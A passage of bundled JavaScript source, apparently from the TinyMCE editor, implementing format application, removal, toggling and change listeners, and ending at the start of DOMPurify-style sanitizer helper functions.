      const start = SugarElement.fromDom(node);
      const wrapper = SugarElement.fromDom(dom.create(name, attrs));
      const siblings = next ? nextSiblings(start) : prevSiblings(start);
      append(wrapper, siblings);
      if (next) {
        before$3(start, wrapper);
        prepend(wrapper, start);
      } else {
        after$4(start, wrapper);
        append$1(wrapper, start);
      }
      return wrapper.dom;
    };
    const isColorFormatAndAnchor = (node, format) => format.links && node.nodeName === 'A';
    const removeNode = (ed, node, format) => {
      const parentNode = node.parentNode;
      let rootBlockElm;
      const dom = ed.dom;
      const forcedRootBlock = getForcedRootBlock(ed);
      if (isBlockFormat(format)) {
        if (parentNode === dom.getRoot()) {
          if (!format.list_block || !isEq$2(node, format.list_block)) {
            each$e(from(node.childNodes), node => {
              if (isValid(ed, forcedRootBlock, node.nodeName.toLowerCase())) {
                if (!rootBlockElm) {
                  rootBlockElm = wrap$1(dom, node, forcedRootBlock);
                  dom.setAttribs(rootBlockElm, getForcedRootBlockAttrs(ed));
                } else {
                  rootBlockElm.appendChild(node);
                }
              } else {
                rootBlockElm = null;
              }
            });
          }
        }
      }
      if (isMixedFormat(format) && !isEq$2(format.inline, node)) {
        return;
      }
      dom.remove(node, true);
    };
    const processFormatAttrOrStyle = (name, value, vars) => {
      if (isNumber(name)) {
        return {
          name: value,
          value: null
        };
      } else {
        return {
          name,
          value: replaceVars(value, vars)
        };
      }
    };
    const removeEmptyStyleAttributeIfNeeded = (dom, elm) => {
      if (dom.getAttrib(elm, 'style') === '') {
        elm.removeAttribute('style');
        elm.removeAttribute('data-mce-style');
      }
    };
    const removeStyles = (dom, elm, format, vars, compareNode) => {
      let stylesModified = false;
      each$7(format.styles, (value, name) => {
        const {
          name: styleName,
          value: styleValue
        } = processFormatAttrOrStyle(name, value, vars);
        const normalizedStyleValue = normalizeStyleValue(styleValue, styleName);
        if (format.remove_similar || isNull(styleValue) || !isElement$6(compareNode) || isEq$2(getStyle(dom, compareNode, styleName), normalizedStyleValue)) {
          dom.setStyle(elm, styleName, '');
        }
        stylesModified = true;
      });
      if (stylesModified) {
        removeEmptyStyleAttributeIfNeeded(dom, elm);
      }
    };
    const removeListStyleFormats = (editor, name, vars) => {
      if (name === 'removeformat') {
        each$e(getPartiallySelectedListItems(editor.selection), li => {
          each$e(listItemStyles, name => editor.dom.setStyle(li, name, ''));
          removeEmptyStyleAttributeIfNeeded(editor.dom, li);
        });
      } else {
        getExpandedListItemFormat(editor.formatter, name).each(liFmt => {
          each$e(getPartiallySelectedListItems(editor.selection), li => removeStyles(editor.dom, li, liFmt, vars, null));
        });
      }
    };
    const removeFormatInternal = (ed, format, vars, node, compareNode) => {
      const dom = ed.dom;
      const elementUtils = ElementUtils(ed);
      const schema = ed.schema;
      if (isInlineFormat(format) && isTransparentElementName(schema, format.inline) && isTransparentBlock(schema, node) && node.parentElement === ed.getBody()) {
        removeNode(ed, node, format);
        return removeResult.removed();
      }
      if (!format.ceFalseOverride && node && dom.getContentEditableParent(node) === 'false') {
        return removeResult.keep();
      }
      if (node && !matchName(dom, node, format) && !isColorFormatAndAnchor(node, format)) {
        return removeResult.keep();
      }
      const elm = node;
      const preserveAttributes = format.preserve_attributes;
      if (isInlineFormat(format) && format.remove === 'all' && isArray$1(preserveAttributes)) {
        const attrsToPreserve = filter$5(dom.getAttribs(elm), attr => contains$2(preserveAttributes, attr.name.toLowerCase()));
        dom.removeAllAttribs(elm);
        each$e(attrsToPreserve, attr => dom.setAttrib(elm, attr.name, attr.value));
        if (attrsToPreserve.length > 0) {
          return removeResult.rename('span');
        }
      }
      if (format.remove !== 'all') {
        removeStyles(dom, elm, format, vars, compareNode);
        each$7(format.attributes, (value, name) => {
          const {
            name: attrName,
            value: attrValue
          } = processFormatAttrOrStyle(name, value, vars);
          if (format.remove_similar || isNull(attrValue) || !isElement$6(compareNode) || isEq$2(dom.getAttrib(compareNode, attrName), attrValue)) {
            if (attrName === 'class') {
              const currentValue = dom.getAttrib(elm, attrName);
              if (currentValue) {
                let valueOut = '';
                each$e(currentValue.split(/\s+/), cls => {
                  if (/mce\-\w+/.test(cls)) {
                    valueOut += (valueOut ? ' ' : '') + cls;
                  }
                });
                if (valueOut) {
                  dom.setAttrib(elm, attrName, valueOut);
                  return;
                }
              }
            }
            if (MCE_ATTR_RE.test(attrName)) {
              elm.removeAttribute('data-mce-' + attrName);
            }
            if (attrName === 'style' && matchNodeNames(['li'])(elm) && dom.getStyle(elm, 'list-style-type') === 'none') {
              elm.removeAttribute(attrName);
              dom.setStyle(elm, 'list-style-type', 'none');
              return;
            }
            if (attrName === 'class') {
              elm.removeAttribute('className');
            }
            elm.removeAttribute(attrName);
          }
        });
        each$7(format.classes, value => {
          value = replaceVars(value, vars);
          if (!isElement$6(compareNode) || dom.hasClass(compareNode, value)) {
            dom.removeClass(elm, value);
          }
        });
        const attrs = dom.getAttribs(elm);
        for (let i = 0; i < attrs.length; i++) {
          const attrName = attrs[i].nodeName;
          if (!elementUtils.isAttributeInternal(attrName)) {
            return removeResult.keep();
          }
        }
      }
      if (format.remove !== 'none') {
        removeNode(ed, elm, format);
        return removeResult.removed();
      }
      return removeResult.keep();
    };
    const removeFormat$1 = (ed, format, vars, node, compareNode) => removeFormatInternal(ed, format, vars, node, compareNode).fold(never, newName => {
      ed.dom.rename(node, newName);
      return true;
    }, always);
    const findFormatRoot = (editor, container, name, vars, similar) => {
      let formatRoot;
      if (container.parentNode) {
        each$e(getParents$2(editor.dom, container.parentNode).reverse(), parent => {
          if (!formatRoot && isElement$6(parent) && parent.id !== '_start' && parent.id !== '_end') {
            const format = matchNode(editor, parent, name, vars, similar);
            if (format && format.split !== false) {
              formatRoot = parent;
            }
          }
        });
      }
      return formatRoot;
    };
    const removeFormatFromClone = (editor, format, vars, clone) => removeFormatInternal(editor, format, vars, clone, clone).fold(constant(clone), newName => {
      const fragment = editor.dom.createFragment();
      fragment.appendChild(clone);
      return editor.dom.rename(clone, newName);
    }, constant(null));
    const wrapAndSplit = (editor, formatList, formatRoot, container, target, split, format, vars) => {
      var _a, _b;
      let lastClone;
      let firstClone;
      const dom = editor.dom;
      if (formatRoot) {
        const formatRootParent = formatRoot.parentNode;
        for (let parent = container.parentNode; parent && parent !== formatRootParent; parent = parent.parentNode) {
          let clone = dom.clone(parent, false);
          for (let i = 0; i < formatList.length; i++) {
            clone = removeFormatFromClone(editor, formatList[i], vars, clone);
            if (clone === null) {
              break;
            }
          }
          if (clone) {
            if (lastClone) {
              clone.appendChild(lastClone);
            }
            if (!firstClone) {
              firstClone = clone;
            }
            lastClone = clone;
          }
        }
        if (split && (!format.mixed || !dom.isBlock(formatRoot))) {
          container = (_a = dom.split(formatRoot, container)) !== null && _a !== void 0 ? _a : container;
        }
        if (lastClone && firstClone) {
          (_b = target.parentNode) === null || _b === void 0 ? void 0 : _b.insertBefore(lastClone, target);
          firstClone.appendChild(target);
          if (isInlineFormat(format)) {
            mergeSiblings(editor, format, vars, lastClone);
          }
        }
      }
      return container;
    };
    const remove$2 = (ed, name, vars, node, similar) => {
      const formatList = ed.formatter.get(name);
      const format = formatList[0];
      const dom = ed.dom;
      const selection = ed.selection;
      const splitToFormatRoot = container => {
        const formatRoot = findFormatRoot(ed, container, name, vars, similar);
        return wrapAndSplit(ed, formatList, formatRoot, container, container, true, format, vars);
      };
      const isRemoveBookmarkNode = node => isBookmarkNode$1(node) && isElement$6(node) && (node.id === '_start' || node.id === '_end');
      const removeNodeFormat = node => exists(formatList, fmt => removeFormat$1(ed, fmt, vars, node, node));
      const process = node => {
        const children = from(node.childNodes);
        const removed = removeNodeFormat(node);
        const currentNodeMatches = removed || exists(formatList, f => matchName(dom, node, f));
        const parentNode = node.parentNode;
        if (!currentNodeMatches && isNonNullable(parentNode) && shouldExpandToSelector(format)) {
          removeNodeFormat(parentNode);
        }
        if (format.deep) {
          if (children.length) {
            for (let i = 0; i < children.length; i++) {
              process(children[i]);
            }
          }
        }
        const textDecorations = [
          'underline',
          'line-through',
          'overline'
        ];
        each$e(textDecorations, decoration => {
          if (isElement$6(node) && ed.dom.getStyle(node, 'text-decoration') === decoration && node.parentNode && getTextDecoration(dom, node.parentNode) === decoration) {
            removeFormat$1(ed, {
              deep: false,
              exact: true,
              inline: 'span',
              styles: { textDecoration: decoration }
            }, undefined, node);
          }
        });
      };
      const unwrap = start => {
        const node = dom.get(start ? '_start' : '_end');
        if (node) {
          let out = node[start ? 'firstChild' : 'lastChild'];
          if (isRemoveBookmarkNode(out)) {
            out = out[start ? 'firstChild' : 'lastChild'];
          }
          if (isText$a(out) && out.data.length === 0) {
            out = start ? node.previousSibling || node.nextSibling : node.nextSibling || node.previousSibling;
          }
          dom.remove(node, true);
          return out;
        } else {
          return null;
        }
      };
      const removeRngStyle = rng => {
        let startContainer;
        let endContainer;
        let expandedRng = expandRng(dom, rng, formatList, rng.collapsed);
        if (format.split) {
          expandedRng = split(expandedRng);
          startContainer = getContainer(ed, expandedRng, true);
          endContainer = getContainer(ed, expandedRng);
          if (startContainer !== endContainer) {
            startContainer = normalizeTableSelection(startContainer, true);
            endContainer = normalizeTableSelection(endContainer, false);
            if (isChildOfInlineParent(dom, startContainer, endContainer)) {
              const marker = Optional.from(startContainer.firstChild).getOr(startContainer);
              splitToFormatRoot(wrapWithSiblings(dom, marker, true, 'span', {
                'id': '_start',
                'data-mce-type': 'bookmark'
              }));
              unwrap(true);
              return;
            }
            if (isChildOfInlineParent(dom, endContainer, startContainer)) {
              const marker = Optional.from(endContainer.lastChild).getOr(endContainer);
              splitToFormatRoot(wrapWithSiblings(dom, marker, false, 'span', {
                'id': '_end',
                'data-mce-type': 'bookmark'
              }));
              unwrap(false);
              return;
            }
            startContainer = wrap$1(dom, startContainer, 'span', {
              'id': '_start',
              'data-mce-type': 'bookmark'
            });
            endContainer = wrap$1(dom, endContainer, 'span', {
              'id': '_end',
              'data-mce-type': 'bookmark'
            });
            const newRng = dom.createRng();
            newRng.setStartAfter(startContainer);
            newRng.setEndBefore(endContainer);
            walk$3(dom, newRng, nodes => {
              each$e(nodes, n => {
                if (!isBookmarkNode$1(n) && !isBookmarkNode$1(n.parentNode)) {
                  splitToFormatRoot(n);
                }
              });
            });
            splitToFormatRoot(startContainer);
            splitToFormatRoot(endContainer);
            startContainer = unwrap(true);
            endContainer = unwrap();
          } else {
            startContainer = endContainer = splitToFormatRoot(startContainer);
          }
          expandedRng.startContainer = startContainer.parentNode ? startContainer.parentNode : startContainer;
          expandedRng.startOffset = dom.nodeIndex(startContainer);
          expandedRng.endContainer = endContainer.parentNode ? endContainer.parentNode : endContainer;
          expandedRng.endOffset = dom.nodeIndex(endContainer) + 1;
        }
        walk$3(dom, expandedRng, nodes => {
          each$e(nodes, process);
        });
      };
      if (node) {
        if (isNode(node)) {
          const rng = dom.createRng();
          rng.setStartBefore(node);
          rng.setEndAfter(node);
          removeRngStyle(rng);
        } else {
          removeRngStyle(node);
        }
        fireFormatRemove(ed, name, node, vars);
        return;
      }
      if (!selection.isCollapsed() || !isInlineFormat(format) || getCellsFromEditor(ed).length) {
        preserveSelection(ed, () => runOnRanges(ed, removeRngStyle), startNode => isInlineFormat(format) && match$2(ed, name, vars, startNode));
        ed.nodeChanged();
      } else {
        removeCaretFormat(ed, name, vars, similar);
      }
      removeListStyleFormats(ed, name, vars);
      fireFormatRemove(ed, name, node, vars);
    };

    const each$6 = Tools.each;
    const mergeTextDecorationsAndColor = (dom, format, vars, node) => {
      const processTextDecorationsAndColor = n => {
        if (isElement$6(n) && isElement$6(n.parentNode) && isEditable$3(n)) {
          const parentTextDecoration = getTextDecoration(dom, n.parentNode);
          if (dom.getStyle(n, 'color') && parentTextDecoration) {
            dom.setStyle(n, 'text-decoration', parentTextDecoration);
          } else if (dom.getStyle(n, 'text-decoration') === parentTextDecoration) {
            dom.setStyle(n, 'text-decoration', null);
          }
        }
      };
      if (format.styles && (format.styles.color || format.styles.textDecoration)) {
        Tools.walk(node, processTextDecorationsAndColor, 'childNodes');
        processTextDecorationsAndColor(node);
      }
    };
    const mergeBackgroundColorAndFontSize = (dom, format, vars, node) => {
      if (format.styles && format.styles.backgroundColor) {
        const hasFontSize = hasStyle(dom, 'fontSize');
        processChildElements(node, elm => hasFontSize(elm) && isEditable$3(elm), applyStyle(dom, 'backgroundColor', replaceVars(format.styles.backgroundColor, vars)));
      }
    };
    const mergeSubSup = (dom, format, vars, node) => {
      if (isInlineFormat(format) && (format.inline === 'sub' || format.inline === 'sup')) {
        const hasFontSize = hasStyle(dom, 'fontSize');
        processChildElements(node, elm => hasFontSize(elm) && isEditable$3(elm), applyStyle(dom, 'fontSize', ''));
        const inverseTagDescendants = filter$5(dom.select(format.inline === 'sup' ? 'sub' : 'sup', node), isEditable$3);
        dom.remove(inverseTagDescendants, true);
      }
    };
    const mergeWithChildren = (editor, formatList, vars, node) => {
      each$6(formatList, format => {
        if (isInlineFormat(format)) {
          each$6(editor.dom.select(format.inline, node), child => {
            if (isElementNode(child)) {
              removeFormat$1(editor, format, vars, child, format.exact ? child : null);
            }
          });
        }
        clearChildStyles(editor.dom, format, node);
      });
    };
    const mergeWithParents = (editor, format, name, vars, node) => {
      const parentNode = node.parentNode;
      if (matchNode(editor, parentNode, name, vars)) {
        if (removeFormat$1(editor, format, vars, node)) {
          return;
        }
      }
      if (format.merge_with_parents && parentNode) {
        editor.dom.getParent(parentNode, parent => {
          if (matchNode(editor, parent, name, vars)) {
            removeFormat$1(editor, format, vars, node);
            return true;
          } else {
            return false;
          }
        });
      }
    };

    const each$5 = Tools.each;
    const canFormatBR = (editor, format, node, parentName) => {
      if (canFormatEmptyLines(editor) && isInlineFormat(format) && node.parentNode) {
        const validBRParentElements = getTextRootBlockElements(editor.schema);
        const hasCaretNodeSibling = sibling(SugarElement.fromDom(node), sibling => isCaretNode(sibling.dom));
        return hasNonNullableKey(validBRParentElements, parentName) && isEmpty$2(SugarElement.fromDom(node.parentNode), false) && !hasCaretNodeSibling;
      } else {
        return false;
      }
    };
    const applyStyles = (dom, elm, format, vars) => {
      each$5(format.styles, (value, name) => {
        dom.setStyle(elm, name, replaceVars(value, vars));
      });
      if (format.styles) {
        const styleVal = dom.getAttrib(elm, 'style');
        if (styleVal) {
          dom.setAttrib(elm, 'data-mce-style', styleVal);
        }
      }
    };
    const applyFormat$1 = (ed, name, vars, node) => {
      const formatList = ed.formatter.get(name);
      const format = formatList[0];
      const isCollapsed = !node && ed.selection.isCollapsed();
      const dom = ed.dom;
      const selection = ed.selection;
      const setElementFormat = (elm, fmt = format) => {
        if (isFunction(fmt.onformat)) {
          fmt.onformat(elm, fmt, vars, node);
        }
        applyStyles(dom, elm, fmt, vars);
        each$5(fmt.attributes, (value, name) => {
          dom.setAttrib(elm, name, replaceVars(value, vars));
        });
        each$5(fmt.classes, value => {
          const newValue = replaceVars(value, vars);
          if (!dom.hasClass(elm, newValue)) {
            dom.addClass(elm, newValue);
          }
        });
      };
      const applyNodeStyle = (formatList, node) => {
        let found = false;
        each$5(formatList, format => {
          if (!isSelectorFormat(format)) {
            return false;
          }
          if (dom.getContentEditable(node) === 'false' && !format.ceFalseOverride) {
            return true;
          }
          if (isNonNullable(format.collapsed) && format.collapsed !== isCollapsed) {
            return true;
          }
          if (dom.is(node, format.selector) && !isCaretNode(node)) {
            setElementFormat(node, format);
            found = true;
            return false;
          }
          return true;
        });
        return found;
      };
      const createWrapElement = wrapName => {
        if (isString(wrapName)) {
          const wrapElm = dom.create(wrapName);
          setElementFormat(wrapElm);
          return wrapElm;
        } else {
          return null;
        }
      };
      const applyRngStyle = (dom, rng, nodeSpecific) => {
        const newWrappers = [];
        let contentEditable = true;
        const wrapName = format.inline || format.block;
        const wrapElm = createWrapElement(wrapName);
        const isMatchingWrappingBlock = node => isWrappingBlockFormat(format) && matchNode(ed, node, name, vars);
        const canRenameBlock = (node, parentName, isEditableDescendant) => {
          const isValidBlockFormatForNode = isNonWrappingBlockFormat(format) && isTextBlock$1(ed.schema, node) && isValid(ed, parentName, wrapName);
          return isEditableDescendant && isValidBlockFormatForNode;
        };
        const canWrapNode = (node, parentName, isEditableDescendant, isWrappableNoneditableElm) => {
          const nodeName = node.nodeName.toLowerCase();
          const isValidWrapNode = isValid(ed, wrapName, nodeName) && isValid(ed, parentName, wrapName);
          const isZwsp$1 = !nodeSpecific && isText$a(node) && isZwsp(node.data);
          const isCaret = isCaretNode(node);
          const isCorrectFormatForNode = !isInlineFormat(format) || !dom.isBlock(node);
          return (isEditableDescendant || isWrappableNoneditableElm) && isValidWrapNode && !isZwsp$1 && !isCaret && isCorrectFormatForNode;
        };
        walk$3(dom, rng, nodes => {
          let currentWrapElm;
          const process = node => {
            let hasContentEditableState = false;
            let lastContentEditable = contentEditable;
            let isWrappableNoneditableElm = false;
            const parentNode = node.parentNode;
            const parentName = parentNode.nodeName.toLowerCase();
            const contentEditableValue = dom.getContentEditable(node);
            if (isNonNullable(contentEditableValue)) {
              lastContentEditable = contentEditable;
              contentEditable = contentEditableValue === 'true';
              hasContentEditableState = true;
              isWrappableNoneditableElm = isWrappableNoneditable(ed, node);
            }
            const isEditableDescendant = contentEditable && !hasContentEditableState;
            if (isBr$6(node) && !canFormatBR(ed, format, node, parentName)) {
              currentWrapElm = null;
              if (isBlockFormat(format)) {
                dom.remove(node);
              }
              return;
            }
            if (isMatchingWrappingBlock(node)) {
              currentWrapElm = null;
              return;
            }
            if (canRenameBlock(node, parentName, isEditableDescendant)) {
              const elm = dom.rename(node, wrapName);
              setElementFormat(elm);
              newWrappers.push(elm);
              currentWrapElm = null;
              return;
            }
            if (isSelectorFormat(format)) {
              let found = applyNodeStyle(formatList, node);
              if (!found && isNonNullable(parentNode) && shouldExpandToSelector(format)) {
                found = applyNodeStyle(formatList, parentNode);
              }
              if (!isInlineFormat(format) || found) {
                currentWrapElm = null;
                return;
              }
            }
            if (isNonNullable(wrapElm) && canWrapNode(node, parentName, isEditableDescendant, isWrappableNoneditableElm)) {
              if (!currentWrapElm) {
                currentWrapElm = dom.clone(wrapElm, false);
                parentNode.insertBefore(currentWrapElm, node);
                newWrappers.push(currentWrapElm);
              }
              if (isWrappableNoneditableElm && hasContentEditableState) {
                contentEditable = lastContentEditable;
              }
              currentWrapElm.appendChild(node);
            } else {
              currentWrapElm = null;
              each$e(from(node.childNodes), process);
              if (hasContentEditableState) {
                contentEditable = lastContentEditable;
              }
              currentWrapElm = null;
            }
          };
          each$e(nodes, process);
        });
        if (format.links === true) {
          each$e(newWrappers, node => {
            const process = node => {
              if (node.nodeName === 'A') {
                setElementFormat(node, format);
              }
              each$e(from(node.childNodes), process);
            };
            process(node);
          });
        }
        each$e(newWrappers, node => {
          const getChildCount = node => {
            let count = 0;
            each$e(node.childNodes, node => {
              if (!isEmptyTextNode$1(node) && !isBookmarkNode$1(node)) {
                count++;
              }
            });
            return count;
          };
          const mergeStyles = node => {
            const childElement = find$2(node.childNodes, isElementNode$1).filter(child => dom.getContentEditable(child) !== 'false' && matchName(dom, child, format));
            return childElement.map(child => {
              const clone = dom.clone(child, false);
              setElementFormat(clone);
              dom.replace(clone, node, true);
              dom.remove(child, true);
              return clone;
            }).getOr(node);
          };
          const childCount = getChildCount(node);
          if ((newWrappers.length > 1 || !dom.isBlock(node)) && childCount === 0) {
            dom.remove(node, true);
            return;
          }
          if (isInlineFormat(format) || isBlockFormat(format) && format.wrapper) {
            if (!format.exact && childCount === 1) {
              node = mergeStyles(node);
            }
            mergeWithChildren(ed, formatList, vars, node);
            mergeWithParents(ed, format, name, vars, node);
            mergeBackgroundColorAndFontSize(dom, format, vars, node);
            mergeTextDecorationsAndColor(dom, format, vars, node);
            mergeSubSup(dom, format, vars, node);
            mergeSiblings(ed, format, vars, node);
          }
        });
      };
      const targetNode = isNode(node) ? node : selection.getNode();
      if (dom.getContentEditable(targetNode) === 'false' && !isWrappableNoneditable(ed, targetNode)) {
        node = targetNode;
        applyNodeStyle(formatList, node);
        fireFormatApply(ed, name, node, vars);
        return;
      }
      if (format) {
        if (node) {
          if (isNode(node)) {
            if (!applyNodeStyle(formatList, node)) {
              const rng = dom.createRng();
              rng.setStartBefore(node);
              rng.setEndAfter(node);
              applyRngStyle(dom, expandRng(dom, rng, formatList), true);
            }
          } else {
            applyRngStyle(dom, node, true);
          }
        } else {
          if (!isCollapsed || !isInlineFormat(format) || getCellsFromEditor(ed).length) {
            selection.setRng(normalize(selection.getRng()));
            preserveSelection(ed, () => {
              runOnRanges(ed, (selectionRng, fake) => {
                const expandedRng = fake ? selectionRng : expandRng(dom, selectionRng, formatList);
                applyRngStyle(dom, expandedRng, false);
              });
            }, always);
            ed.nodeChanged();
          } else {
            applyCaretFormat(ed, name, vars);
          }
          getExpandedListItemFormat(ed.formatter, name).each(liFmt => {
            each$e(getFullySelectedListItems(ed.selection), li => applyStyles(dom, li, liFmt, vars));
          });
        }
        postProcess$1(name, ed);
      }
      fireFormatApply(ed, name, node, vars);
    };

    const hasVars = value => has$2(value, 'vars');
    const setup$t = (registeredFormatListeners, editor) => {
      registeredFormatListeners.set({});
      editor.on('NodeChange', e => {
        updateAndFireChangeCallbacks(editor, e.element, registeredFormatListeners.get());
      });
      editor.on('FormatApply FormatRemove', e => {
        const element = Optional.from(e.node).map(nodeOrRange => isNode(nodeOrRange) ? nodeOrRange : nodeOrRange.startContainer).bind(node => isElement$6(node) ? Optional.some(node) : Optional.from(node.parentElement)).getOrThunk(() => fallbackElement(editor));
        updateAndFireChangeCallbacks(editor, element, registeredFormatListeners.get());
      });
    };
    const fallbackElement = editor => editor.selection.getStart();
    const matchingNode = (editor, parents, format, similar, vars) => {
      const isMatchingNode = node => {
        const matchingFormat = editor.formatter.matchNode(node, format, vars !== null && vars !== void 0 ? vars : {}, similar);
        return !isUndefined(matchingFormat);
      };
      const isUnableToMatch = node => {
        if (matchesUnInheritedFormatSelector(editor, node, format)) {
          return true;
        } else {
          if (!similar) {
            return isNonNullable(editor.formatter.matchNode(node, format, vars, true));
          } else {
            return false;
          }
        }
      };
      return findUntil$1(parents, isMatchingNode, isUnableToMatch);
    };
    const getParents = (editor, elm) => {
      const element = elm !== null && elm !== void 0 ? elm : fallbackElement(editor);
      return filter$5(getParents$2(editor.dom, element), node => isElement$6(node) && !isBogus$2(node));
    };
    const updateAndFireChangeCallbacks = (editor, elm, registeredCallbacks) => {
      const parents = getParents(editor, elm);
      each$d(registeredCallbacks, (data, format) => {
        const runIfChanged = spec => {
          const match = matchingNode(editor, parents, format, spec.similar, hasVars(spec) ? spec.vars : undefined);
          const isSet = match.isSome();
          if (spec.state.get() !== isSet) {
            spec.state.set(isSet);
            const node = match.getOr(elm);
            if (hasVars(spec)) {
              spec.callback(isSet, {
                node,
                format,
                parents
              });
            } else {
              each$e(spec.callbacks, callback => callback(isSet, {
                node,
                format,
                parents
              }));
            }
          }
        };
        each$e([
          data.withSimilar,
          data.withoutSimilar
        ], runIfChanged);
        each$e(data.withVars, runIfChanged);
      });
    };
    const addListeners = (editor, registeredFormatListeners, formats, callback, similar, vars) => {
      const formatChangeItems = registeredFormatListeners.get();
      each$e(formats.split(','), format => {
        const group = get$a(formatChangeItems, format).getOrThunk(() => {
          const base = {
            withSimilar: {
              state: Cell(false),
              similar: true,
              callbacks: []
            },
            withoutSimilar: {
              state: Cell(false),
              similar: false,
              callbacks: []
            },
            withVars: []
          };
          formatChangeItems[format] = base;
          return base;
        });
        const getCurrent = () => {
          const parents = getParents(editor);
          return matchingNode(editor, parents, format, similar, vars).isSome();
        };
        if (isUndefined(vars)) {
          const toAppendTo = similar ? group.withSimilar : group.withoutSimilar;
          toAppendTo.callbacks.push(callback);
          if (toAppendTo.callbacks.length === 1) {
            toAppendTo.state.set(getCurrent());
          }
        } else {
          group.withVars.push({
            state: Cell(getCurrent()),
            similar,
            vars,
            callback
          });
        }
      });
      registeredFormatListeners.set(formatChangeItems);
    };
    const removeListeners = (registeredFormatListeners, formats, callback) => {
      const formatChangeItems = registeredFormatListeners.get();
      each$e(formats.split(','), format => get$a(formatChangeItems, format).each(group => {
        formatChangeItems[format] = {
          withSimilar: {
            ...group.withSimilar,
            callbacks: filter$5(group.withSimilar.callbacks, cb => cb !== callback)
          },
          withoutSimilar: {
            ...group.withoutSimilar,
            callbacks: filter$5(group.withoutSimilar.callbacks, cb => cb !== callback)
          },
          withVars: filter$5(group.withVars, item => item.callback !== callback)
        };
      }));
      registeredFormatListeners.set(formatChangeItems);
    };
    const formatChangedInternal = (editor, registeredFormatListeners, formats, callback, similar, vars) => {
      addListeners(editor, registeredFormatListeners, formats, callback, similar, vars);
      return { unbind: () => removeListeners(registeredFormatListeners, formats, callback) };
    };

    const toggle = (editor, name, vars, node) => {
      const fmt = editor.formatter.get(name);
      if (fmt) {
        if (match$2(editor, name, vars, node) && (!('toggle' in fmt[0]) || fmt[0].toggle)) {
          remove$2(editor, name, vars, node);
        } else {
          applyFormat$1(editor, name, vars, node);
        }
      }
    };

    function _typeof(obj) {
      '@babel/helpers - typeof';
      return _typeof = 'function' == typeof Symbol && 'symbol' == typeof Symbol.iterator ? function (obj) {
        return typeof obj;
      } : function (obj) {
        return obj && 'function' == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? 'symbol' : typeof obj;
      }, _typeof(obj);
    }
    function _setPrototypeOf(o, p) {
      _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) {
        o.__proto__ = p;
        return o;
      };
      return _setPrototypeOf(o, p);
    }
    function _isNativeReflectConstruct() {
      if (typeof Reflect === 'undefined' || !Reflect.construct)
        return false;
      if (Reflect.construct.sham)
        return false;
      if (typeof Proxy === 'function')
        return true;
      try {
        Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {
        }));
        return true;
      } catch (e) {
        return false;
      }
    }
    function _construct(Parent, args, Class) {
      if (_isNativeReflectConstruct()) {
        _construct = Reflect.construct;
      } else {
        _construct = function _construct(Parent, args, Class) {
          var a = [null];
          a.push.apply(a, args);
          var Constructor = Function.bind.apply(Parent, a);
          var instance = new Constructor();
          if (Class)
            _setPrototypeOf(instance, Class.prototype);
          return instance;
        };
      }
      return _construct.apply(null, arguments);
    }
    function _toConsumableArray(arr) {
      return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableSpread();
    }
    function _arrayWithoutHoles(arr) {
      if (Array.isArray(arr))
        return _arrayLikeToArray(arr);
    }
    function _iterableToArray(iter) {
      if (typeof Symbol !== 'undefined' && iter[Symbol.iterator] != null || iter['@@iterator'] != null)
        return Array.from(iter);
    }
    function _unsupportedIterableToArray(o, minLen) {
      if (!o)
        return;
      if (typeof o === 'string')
        return _arrayLikeToArray(o, minLen);
      var n = Object.prototype.toString.call(o).slice(8, -1);
      if (n === 'Object' && o.constructor)
        n = o.constructor.name;
      if (n === 'Map' || n === 'Set')
        return Array.from(o);
      if (n === 'Arguments' || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))
        return _arrayLikeToArray(o, minLen);
    }
    function _arrayLikeToArray(arr, len) {
      if (len == null || len > arr.length)
        len = arr.length;
      for (var i = 0, arr2 = new Array(len); i < len; i++)
        arr2[i] = arr[i];
      return arr2;
    }
    function _nonIterableSpread() {
      throw new TypeError('Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.');
    }
    var hasOwnProperty = Object.hasOwnProperty, setPrototypeOf = Object.setPrototypeOf, isFrozen = Object.isFrozen, getPrototypeOf = Object.getPrototypeOf, getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;
    var freeze = Object.freeze, seal = Object.seal, create$8 = Object.create;
    var _ref = typeof Reflect !== 'undefined' && Reflect, apply = _ref.apply, construct = _ref.construct;
    if (!apply) {
      apply = function apply(fun, thisValue, args) {
        return fun.apply(thisValue, args);
      };
    }
    if (!freeze) {
      freeze = function freeze(x) {
        return x;
      };
    }
    if (!seal) {
      seal = function seal(x) {
        return x;
      };
    }
    if (!construct) {
      construct = function construct(Func, args) {
        return _construct(Func, _toConsumableArray(args));
      };
    }
    var arrayForEach = unapply(Array.prototype.forEach);
    var arrayPop = unapply(Array.prototype.pop);
    var arrayPush = unapply(Array.prototype.push);
    var stringToLowerCase = unapply(String.prototype.toLowerCase);
    var stringMatch = unapply(String.prototype.match);
    var stringReplace = unapply(String.prototype.replace);
    var stringIndexOf = unapply(String.prototype.indexOf);
    var stringTrim = unapply(String.prototype.trim);
    var regExpTest = unapply(RegExp.prototype.test);
    var typeErrorCreate = unconstruct(TypeError);
    function unapply(func) {
      return function (thisArg) {
        for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
          args[_key - 1] = arguments[_key];
        }
        return apply(func, thisArg, args);
      };
    }
    function unconstruct(func) {
      return function () {
        for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
          args[_key2] = arguments[_key2];
        }
        return construct(func, args);
      };
    }
    function addToSet(set, array) {
      if (setPrototypeOf) {
        setPrototypeOf(set, null);
      }
      var l = array.length;
      while (l--) {
        var element = array[l];
        if (typeof element === 'string') {
          var lcElement = stringToLowerCase(element);
          if (lcElement !== element) {
            if (!isFrozen(array)) {
              array[l] = lcElement;
            }
            element = lcElement;
          }
        }
        set[element] = true;
      }
      return set;
    }
    function clone(object) {
      var newObject = create$8(null);
      var property;
      for (property in object) {
        if (apply(hasOwnProperty, object, [property])) {
          newObject[property] = object[property];
        }
      }
      return newObject;
    }
    function lookupGetter(object, prop) {
      while (object !== null) {
        var desc = getOwnPropertyDescriptor(object, prop);
        if (desc) {
          if (desc.get) {
            return unapply(desc.get);
          }
